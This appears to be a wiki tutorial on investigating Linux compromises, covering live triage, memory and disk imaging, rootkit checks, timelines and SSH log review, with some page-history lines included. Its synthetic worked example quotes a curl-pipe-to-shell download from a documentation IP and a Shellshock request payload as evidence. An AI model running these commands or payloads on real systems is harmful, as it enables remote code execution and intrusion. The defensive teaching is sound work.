The <code>bash</code> plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session's commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell's start time; the lines after them, with different times, are what was typed in that session.

=== Hunting for rootkits in memory ===

<syntaxhighlight lang="bash">
vol -s . -f memory.lime linux.check_modules.Check_modules # kernel modules hidden from the normal module lists
vol -s . -f memory.lime linux.check_syscall.Check_syscall # system calls whose handlers have been replaced (hooks)
vol -s . -f memory.lime linux.check_creds.Check_creds # processes sharing credentials, a sign of credential tampering
</syntaxhighlight>

* <code>Check_modules</code> compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing <code>Lsmod</code> output with a known-good machine.
* <code>Check_syscall</code> shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under <code>/proc</code>, hide processes too) and for sending signals.
* Other plugins (for example <code>Check_afinfo</code>, <code>Check_idt</code>, <code>Keyboard_notifiers</code>, <code>Tty_check</code>) look for network-structure tampering and keylogger techniques.

After that use YARA rules built from indicators you already have (the <code>YaraScan</code> plugin, or YARA directly), look at the <code>bash</code> history for the commands used to install the rootkit, and search the image with <code>strings</code>.

=== No symbol file? Quick triage instead ===

Even without Volatility working, a memory image can be mined. <code>strings</code> pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.

<syntaxhighlight lang="bash">
strings -a memory.lime | gzip > memory.strings.gz # keep for context searches
bulk_extractor -o be-out memory.lime # the output folder must not already exist

head be-out/url_histogram.txt # start with the histograms: common URLs, IPs, domains
head be-out/ip_histogram.txt

# who was talking to whom, from packet fragments bulk_extractor recovered
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head
</syntaxhighlight>

Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (<code>zgrep -F -C3 suspicious.example memory.strings.gz</code>) for context.

== Step 6: Building a timeline ==

Investigations get clear once events are in one ordered list. A '''timeline''' combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.

=== Quick version ===

<syntaxhighlight lang="bash">
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path
sudo find / -xdev -type f -newermt '2026-09-10 00:00' ! -newermt '2026-09-11 00:00' \
-printf '%C+ %T+ %u %p\n' | sort

stat /var/tmp/.cache/update # shows access, modify, change (and, on many filesystems, birth) times

# files changed after a file you already know the attacker touched
sudo find / -xdev -newer /etc/passwd -type f -ls 2>/dev/null
ls -lArt /etc # a directory sorted by modification time, oldest first
</syntaxhighlight>

=== The full method (The Sleuth Kit) ===

For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a "body file" (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.

<syntaxhighlight lang="bash">
# 1. one body file per file system ("-m /" = the mount point prefix to put on each path)
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip > bodyfile-root.gz
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip > bodyfile-boot.gz # -o = the partition's start sector, from mmls

# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 > timeline.csv
</syntaxhighlight>

Open the CSV in a spreadsheet or a timeline viewer. The date argument means "from this date forward"; use a range such as <code>2026-09-01..2026-09-15</code> to limit it further. Then start from '''pivot points''': places in the timeline you already have reason to look.

* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.
* Modification times on <code>/etc/passwd</code> and <code>/etc/shadow</code> if accounts were added.
* An alert, a log entry or a suspicious login.
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.

=== Understanding Linux timestamps ===

Files have four time values:

{| class="wikitable"
! Name !! Meaning !! Notes
|-
| '''mtime''' (modified) || When the contents last changed || Easy for an attacker with root to set to any value with <code>touch -d</code>.
|-
| '''atime''' (accessed) || When the contents were last read or run || Linux usually mounts with <code>relatime</code>, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.
|-
| '''ctime''' (changed) || When the file's ''metadata'' last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been "timestomped." But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as <code>debugfs</code>).
|-
| '''btime''' (birth/creation) || When the file was created || Recorded by ext4 and shown by <code>stat</code> ("Birth"); not available on every file system or tool.
|}

Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits <code>/etc/shadow</code> and a user later changes a password, the attacker's timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package's own program during an update is not.

For those reasons, treat a timeline as '''a guide to evidence, not evidence itself'''. It points you to the files, logs and memory artifacts that you then examine and can report.

Some other useful timing facts:

* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation's local time zone unless you tell them otherwise.
* The SSH host keys under <code>/etc/ssh</code> are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)
* Check the system's own clock and time zone against its logs before you compare times across sources.

=== A note on deleted files ===

Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.

== Worked example ==

''This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.''

'''Report:''' the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.

'''1. Volatile state.''' The process tree shows a shell started by the web server, and a process nobody can identify:

<syntaxhighlight lang="text">
www-data 4108 apache2 -k start
www-data 4121 \_ sh -c curl -s http://203.0.113.50/u.sh | sh
www-data 4188 /var/tmp/.cache/update
</syntaxhighlight>

<syntaxhighlight lang="text">
$ sudo ss -tnp state established
Recv-Q Send-Q Local Address:Port Peer Address:Port Process
0 0 10.0.0.5:48822 203.0.113.50:4444 users:(("update",pid=4188,fd=3))
</syntaxhighlight>

Already there are three clues: a web-server child running a downloader, a program in a hidden directory under <code>/var/tmp</code>, and an outbound connection owned by that program.

'''2. Way in.''' The access log around the time process 4121 started (14:02 UTC) holds:

<syntaxhighlight lang="text">
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] "GET /cgi-bin/status.sh HTTP/1.1" 200 412 "-" "() { :;}; echo; /usr/bin/id"
</syntaxhighlight>

A <code>() {</code> in the User-Agent, sent to a CGI script, is a Shellshock attempt. The <code>200</code> and the timing (the shell appears seconds later) suggest it worked. The client address, <code>198.51.100.7</code>, is the same one that was guessing SSH passwords minutes earlier in <code>auth.log</code>, so the attacker was probing more than one way in.

'''3. Persistence.''' The cron directory for the web user contains a job that restarts the unknown program every minute:

<syntaxhighlight lang="text">
$ sudo cat /var/spool/cron/crontabs/www-data
* * * * * /var/tmp/.cache/update >/dev/null 2>&1
</syntaxhighlight>

Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of <code>/proc/4188/exe</code> and hashes it.

'''4. Timeline.'''

{| class="wikitable"
! Time (UTC) !! Event !! Source
|-
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as <code>deploy</code> || <code>auth.log</code>
|-
| 14:02 || Shellshock-style request against <code>/cgi-bin/status.sh</code> || <code>access.log</code>
|-
| 14:02 || <code>apache2</code> spawns a shell that downloads and runs a script || process tree
|-
| 14:03 || <code>/var/tmp/.cache/update</code> created; cron entry added || file times, crontab
|-
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || <code>ss</code>
|}

'''5. Conclusions and open questions.''' The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the <code>deploy</code> SSH login also the attacker (check that account's history and keys)? What did the attacker reach with the web user's permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.

== After the analysis ==

* '''Contain:''' isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.
* '''Eradicate and recover:''' if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.
* '''Reset credentials and keys''' that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.
* '''Close the way in:''' patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).
* '''Write it up:''' the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.

== Quick reference: symptom to first check ==

{| class="wikitable"
! Symptom !! First place to look
|-
| Unexpected logins || <code>last -aiF</code>, <code>auth.log</code> (or <code>secure</code>), <code>journalctl -u ssh</code>
|-
| Web server slow or making outbound connections || Process tree (<code>ps --forest</code>), <code>ss -tnp</code>, web access and error logs
|-
| A process you cannot identify || <code>/proc/PID/exe</code> and <code>cwd</code>; is the executable deleted, under <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, or in a hidden directory?
|-
| A user or service you do not recognize || <code>/etc/passwd</code> (UID 0 and login shells), <code>/etc/shadow</code>, <code>sudoers</code>
|-
| A program that keeps coming back || <code>crontab</code>s, <code>systemctl list-timers</code>, enabled unit files, shell start-up files, scripts those run
|-
| Someone can log in without a password || <code>authorized_keys</code> files, <code>sshd_config</code>
|-
| Commands behave strangely or disagree || <code>debsums</code> or <code>rpm -Va</code>, <code>/etc/ld.so.preload</code>, a memory image with Volatility, a trusted boot disk, <code>rkhunter</code> as a secondary check
|-
| Logs look too clean || File sizes and mtimes in <code>/var/log</code>, remote log server, <code>journalctl --verify</code>
|-
| "What happened, and in what order?" || A timeline: <code>find -printf</code> for a quick look, TSK <code>fls</code> plus <code>mactime</code> for a full one
|-
| Machine is off, or you have only a disk || Mount the image read-only (<code>ro,noexec,noload</code>) and work through steps 2 to 6 on the mount
|}

== Practicing safely ==

The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the ''defender'' side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.

For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi's team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository's own terms before copying or redistributing anything from it.

== Credits and license ==

Parts of this page are adapted from ''Linux Forensics'' (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].

== Sources and further reading ==

* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics ''Linux Forensics'']. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for <code>ss</code>, <code>find</code>, <code>stat</code>, <code>journalctl</code>, <code>last</code>, <code>ausearch</code>, <code>mount</code>, <code>losetup</code> and the other commands used above.

[[Category:Linux]]

Attack Analysis

2026-10-02T23:38:21Z

AdminUser: Approved by AdminUser: removing the submission notice and Pending review category

Attack Analysis

2026-10-02T23:34:02Z

AdminUser:

{{submit}}
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]

|}

'''Attack analysis''' is the work you do ''after'' something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.

== Ground rules ==

* '''Only analyze systems you own or are explicitly authorized to examine.''' This one is pretty self-explanatory.
* '''Write down what you do.''' Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker's.
* '''Any indicator is a lead, but not proof.''' A failed-login flood, an odd file in <code>/tmp</code> or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.
* '''Do not trust a compromised machine to tell the truth.''' If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].
* '''Understand before you delete.''' Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.
* '''Work on copies, read-only.''' Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with <code>sha256sum</code>) of each image when you make it so you can show later that it did not change.

== The analysis loop ==

Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.

# '''Preserve''' evidence: memory, running state and disks, before they change or disappear.
# '''Find the way in''': the initial access (a guessed password, a vulnerable web application, a stolen key).
# '''Find what they did''': commands run, files touched, accounts created, data reached, etc.
# '''Find what they left behind''': persistence/backdoors so they can come back.
# '''Look for hiding''': rootkits and log tampering.
# '''Build a timeline''' that ties the above together, and check it for gaps.
# '''Contain, clean up and harden''': only once you understand the scope.

== Three ways to examine a system ==

The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.

{| class="wikitable"
! Approach !! What you get !! Watch out for
|-
| '''Live system''' (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).
|-
| '''Memory image''' || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description ("symbols") of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).
|-
| '''Disk image''' || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.
|}

== Where Linux keeps evidence ==

Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).

{| class="wikitable"
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you
|-
| Authentication and sudo || <code>/var/log/auth.log</code> || <code>/var/log/secure</code> || SSH logins (successful and failed), <code>sudo</code> and <code>su</code> use, new accounts
|-
| General system log || <code>/var/log/syslog</code> || <code>/var/log/messages</code> || Service starts and crashes, kernel messages, cron runs
|-
| systemd journal || <code>journalctl</code> || <code>journalctl</code> || The same events, indexed; the only source on systems without a syslog daemon
|-
| Login records || <code>last</code>, <code>lastb</code>, <code>lastlog</code> (read <code>/var/log/wtmp</code>, <code>btmp</code>, <code>lastlog</code>) || same || Who logged in, from where, and when; failed logins
|-
| Web server logs || <code>/var/log/apache2/</code> or <code>/var/log/nginx/</code> || <code>/var/log/httpd/</code> or <code>/var/log/nginx/</code> || Every request the web server handled (see below)
|-
| Audit framework (if installed) || <code>/var/log/audit/audit.log</code> || <code>/var/log/audit/audit.log</code> || File access, command execution and account changes, according to the rules configured
|-
| Package history || <code>/var/log/dpkg.log</code>, <code>/var/log/apt/history.log</code> || <code>dnf history</code>, <code>/var/log/dnf.log</code> || Software installed or removed, and when
|-
| Shell history || <code>~/.bash_history</code> (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)
|-
| Scheduled tasks || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/crontabs/</code> || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/</code> || Commands that run automatically
|}

If <code>/var/log/auth.log</code> does not exist on a newer install, the system is logging to the journal only; use <code>journalctl</code> instead.

When you examine a '''mounted disk image''' (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example <code>/mnt/data/var/log/auth.log</code>. It is easy to read your own workstation's <code>/var/log</code> by accident.

== Step 1: Preserve evidence ==

Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and '''do not reboot''' the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.

=== Live triage and volatile state ===

If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:

<syntaxhighlight lang="bash">
date -u; uptime # record the time and how long it has been up
who -a; w # who is logged in right now, and doing what
ps -eo pid,ppid,user,lstart,cmd --forest # process tree with start times
sudo ss -tunap # all sockets with the owning process
sudo lsof -nP -i # network files, a second opinion on ss
</syntaxhighlight>

Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a "body file" of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:

<syntaxhighlight lang="bash">
# run from the unpacked UAC directory; "ir_triage" is the quick profile, "full" adds browser and application data
sudo ./uac -p ir_triage /mnt/evidence

# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence
</syntaxhighlight>

Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.

==== Reading the process list ====

It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:

* '''A web server with a shell (<code>sh</code>, <code>bash</code>) or a download tool (<code>curl</code>, <code>wget</code>) as a child''' is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.
* '''Programs running from the wrong place.''' System programs live under <code>/usr</code> (and third-party software under <code>/opt</code> or <code>/usr/local</code>). A program running from <code>/tmp</code>, <code>/var/tmp</code>, <code>/dev/shm</code> or someone's home directory should be scrutinized.
* '''Programs running from a deleted file.''' Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.
* '''Programs whose working directory is a hidden directory''' (a name starting with a dot, i.e. <code>.ssh</code>).
* '''Orphans.''' When a parent process exits, its children are adopted by the init process (PID 1, usually <code>systemd</code>), so an attacker's background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.
* '''Disguised names.''' A process can rename itself so that <code>ps</code> shows something like <code>[kworker/3:3]</code>, which looks like a kernel thread. Real kernel threads are children of <code>kthreadd</code> (PID 2) and have no executable file.

<syntaxhighlight lang="bash">
# programs running from a file that has since been deleted (common for malware that removes itself)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -F '(deleted)'

# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -vE -- '-> /(usr|opt|snap)/'

# processes whose current directory is a hidden directory
sudo sh -c 'ls -l /proc/[0-9]*/cwd' 2>/dev/null | grep -F '/.'

# "kernel threads" that are not children of kthreadd (PID 2): probably impostors
ps -eo pid,ppid,user,cmd | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'

# what a suspicious process (PID 4188 here) is and where it lives
sudo ls -l /proc/4188/exe /proc/4188/cwd
sudo cat /proc/4188/cmdline | tr '\0' ' '; echo
</syntaxhighlight>

'''Recovering a deleted program.''' Because the running process still holds the file open, you can copy it out of <code>/proc</code> before you kill the process, and then hash it and study it (or look it up):

<syntaxhighlight lang="bash">
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin
sha256sum /mnt/evidence/pid4188.bin
</syntaxhighlight>

Also note '''listening''' ports (<code>sudo ss -tulpn</code>) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.

==== Where attackers stage files ====

Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:

* <code>/tmp</code> and <code>/var/tmp</code>: world-writable and the classic spot.
* <code>/dev/shm</code>: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. '''Look in it before you power the machine off.'''
* Hidden directories (names starting with <code>.</code>), especially ones that imitate something legitimate. For example, <code>/tmp/.ICE-unix</code> is a normal directory on Linux desktops, so a similar-looking <code>/tmp/.ICEd-unix</code> is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (<code>.. </code>) placed next to the real <code>..</code>.

<syntaxhighlight lang="bash">
# hidden directories anywhere except /proc, /sys, root's home and users' home directories (which have legitimate ones)
sudo find / $ -path /proc -o -path /sys -o -path /root -o -path '/home/*' $ -prune -o -type d -name '.*' -print 2>/dev/null

sudo find /tmp /var/tmp /dev/shm -type f -ls
</syntaxhighlight>

=== Capturing memory ===

Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy <code>/dev/mem</code> with <code>dd</code>, but the kernel now restricts that, so you need tools.

{| class="wikitable"
! Tool !! How it works !! Notes
|-
| [https://github.com/microsoft/avml AVML] || Reads memory through <code>/proc/kcore</code>. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.
|-
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine's kernel and load || Can write straight to the network. Also works on Android.
|}

<syntaxhighlight lang="bash">
sudo ./avml /mnt/evidence/memory.lime
</syntaxhighlight>

Writing a multi-gigabyte file onto the suspect's own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a "file," so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:

<syntaxhighlight lang="bash">
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)
nc -l -p 9999 > memory.lime

# on the suspect machine
mkfifo /tmp/memfifo
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &
sudo ./avml /tmp/memfifo
</syntaxhighlight>

Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).

=== Capturing a disk ===

How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.

* '''Public cloud:''' use the provider's documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).
* '''Your own hypervisor:''' snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (<code>qemu-img convert</code> does this).
* '''Physical disk:''' image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as <code>ewfacquire</code> (compressed E01 files) or <code>dc3dd</code> (raw).

<syntaxhighlight lang="bash">
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log
</syntaxhighlight>

Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often "dirty," which matters when you mount them (below).

== Working from a disk image ==

Linux forensic tools generally want a '''raw''' image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:

# '''E01 container''' (if used): expose it as a raw disk image.
# '''Partition table:''' find which partitions exist and where they start.
# '''Encryption or software RAID''' (if used): unlock or assemble it. (Not covered.)
# '''LVM''' (very common): activate the logical volumes.
# '''File system:''' mount it read-only.

<syntaxhighlight lang="bash">
sudo mkdir -p /mnt/img /mnt/data

# E01 container -> a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.
sudo ewfmount Webserver.E01 /mnt/img

# partition table to check what's inside (mmls is from The Sleuth Kit; note each partition's Start sector)
mmls /mnt/img/ewf1

# attach a read-only loopback device at a partition's start (start sector x 512 bytes)
START_SECTOR=501760
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1
losetup -a # which loop device did you get? (here: /dev/loop0)
file -s /dev/loop0 # confirm what is on it (for example: LVM2 PV)

# LVM: find and activate the volume group, then list its logical volumes
sudo pvdisplay /dev/loop0 # note the "VG Name"
sudo vgscan
sudo vgchange -a y VOLUME_GROUP_NAME
sudo lvscan

# file system: mount read-only, with no program execution allowed
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data
</syntaxhighlight>

Notes on the options:

* <code>ro</code> and <code>noexec</code>: even though the layers below are already read-only, use both anyway (it's a good habit to build), and <code>noexec</code> stops you from accidentally running malware from the image you are investigating (which would be really, really bad).
* <code>noload</code>: an image taken from a machine that was running is usually "dirty," meaning the file system's journal has unfinished changes. A plain read-only mount then fails (check <code>dmesg | tail</code>). <code>noload</code> tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses <code>norecovery</code> instead, and often also needs <code>nouuid</code> if your workstation has a file system with the same ID.
* A partition that is not part of LVM (often <code>/boot</code>) needs no LVM step: mount it straight from the image with <code>mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot</code> (add <code>noload</code> if it complains about the journal).

Take the layers down in reverse order when you are done:

<syntaxhighlight lang="bash">
sudo umount /mnt/data
sudo vgchange -a n VOLUME_GROUP_NAME
sudo losetup -d /dev/loop0
sudo umount /mnt/img # the ewfmount
</syntaxhighlight>

'''Traps when reading a mounted image:'''

* Owner names shown by <code>ls -l</code> come from '''your workstation's''' <code>/etc/passwd</code>, not the image's, so UID 1001 might display as the wrong person. Use <code>ls -ln</code> (numbers) or look up the IDs in the image's own <code>/mnt/data/etc/passwd</code>.
* Absolute symbolic links inside the image point at your own system's files, not the image's. Check with <code>readlink</code> instead of simply blindly trusting what a link shows you.
* Most tools can read a copy of a log directly: <code>last -aiF -f /mnt/data/var/log/wtmp</code>, or <code>journalctl -D /mnt/data/var/log/journal</code> (if the system kept a persistent journal).

== Step 2: Find the way in ==

=== Remote login (SSH) ===

Password guessing against SSH is constant background noise on any internet-facing host. The question is not "was I attacked?" (you were, of course) but "did any guess succeed?"

<syntaxhighlight lang="bash">
# which addresses failed the most (the address is the 4th field from the end of the line)
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head

# did any of them ever get in?
sudo grep "Accepted" /var/log/auth.log

# every event involving one address, in order
sudo grep -E "Failed|Accepted" /var/log/auth.log | grep 198.51.100.7
</syntaxhighlight>

Example output (addresses here are from the reserved documentation ranges, not real hosts):

<syntaxhighlight lang="text">
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2
</syntaxhighlight>

The pattern to worry about is '''many failures, then a success, from the same address''', especially for an account that should never log in from that place. Confirm with the login records:

<syntaxhighlight lang="bash">
last -aiF | head -20 # recent logins with full timestamps and source IPs
sudo lastb -aiF | head -20 # recent failed logins
lastlog | grep -v "Never logged in"
journalctl -u ssh --since "2026-09-10" -g "Accepted" # the unit is "sshd" on RHEL-family systems
</syntaxhighlight>

Be aware that these records are easy to lose: <code>wtmp</code> is often rotated (truncated) weekly or monthly, <code>btmp</code> may not be kept at all because failed logins can contain mistyped passwords, and <code>lastlog</code>'s format varies between systems.

Success by public key leaves a different line (<code>Accepted publickey for ...</code>). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check <code>authorized_keys</code>.

=== Web applications ===

